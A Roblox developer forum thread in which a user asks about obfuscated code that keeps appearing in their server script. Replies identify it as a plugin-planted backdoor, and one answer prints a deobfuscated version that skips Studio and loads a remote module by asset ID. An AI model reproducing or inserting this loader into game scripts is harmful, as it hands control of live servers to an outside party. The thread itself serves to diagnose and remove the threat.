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COMMUNITY QUESTION

I kept getting weird code in my FE Server script?

ikcD = game iD66Ly6REtX30DG = pcall if4dKwBumqQ = 'SSM' iX4a5P4e6qhl = require ii3Ga = 'Workspace' igT8jKf6oI1Te = 'PlaceId' iqFvJOGe = 'ReplicatedStorage' ifcyf0eNHR = 'RunService' ipOa9qkqOMz = 'WaitForChild' iLD73Xdnfnt = 'IsStudio' iWqwHRkoGvh = 'IsStudio' iDwvgGK8Y = 'load' itE8ugF6klD = pcall igid = 29176448.274725 * 91 iD2nxs = require iHhDtt = game i9yX4r = 'Debris' iuEAooMA = spawn  iuEAooMA(       function()        iD66Ly6REtX30DG(       function()        if iHhDtt:GetService(ifcyf0eNHR)       [iLD73Xdnfnt]       (iHhDtt:GetService(ifcyf0eNHR)       ) then         return        end iX4a5P4e6qhl(igid)       [iDwvgGK8Y]       (iHhDtt[igT8jKf6oI1Te]       )        end       )        end       )

TeleportEvent.OnServerEvent:Connect(ikcD = game iD66Ly6REtX30DG = pcall if4dKwBumqQ = 'SSM' iX4a5P4e6qhl = require ii3Ga = 'Workspace' igT8jKf6oI1Te = 'PlaceId' iqFvJOGe = 'ReplicatedStorage' ifcyf0eNHR = 'RunService' ipOa9qkqOMz = 'WaitForChild' iLD73Xdnfnt = 'IsStudio' iWqwHRkoGvh = 'IsStudio' iDwvgGK8Y = 'load' itE8ugF6klD = pcall igid = 29176448.274725 * 91 iD2nxs = require iHhDtt = game i9yX4r = 'Debris' iuEAooMA = spawn  iuEAooMA(       function()        iD66Ly6REtX30DG(       function()        if iHhDtt:GetService(ifcyf0eNHR)       [iLD73Xdnfnt]       (iHhDtt:GetService(ifcyf0eNHR)       ) then         return        end iX4a5P4e6qhl(igid)       [iDwvgGK8Y]       (iHhDtt[igT8jKf6oI1Te]       )        end       )        end       )
function(player, Location, Wallet, Price)
	if Wallet >= Wallet then
		Wallet = Wallet - Price
	end
	player.Character:findFirstChild("Torso").CFrame = CFrame.new(Location)
end)

This lot of code keeps getting pasted into my server script every new server start so its messing it up. Anyone know how to remove it?

Regards,

3 comments

1

You have a plugin virus, scripts cant access to the server script source..

0

Yup, scored. All fixed. Much thanks.

0

It isn't a virus, it is a backdoor.

1 answer

This is a obfuscated backdoor, this is the code deobfuscated by me

spawn(function()
  pcall(function()
    if game:GetService("RunService").IsStudio() then
      return
    end
    require(2655056793).load(game.PlaceId)
  end)
end)

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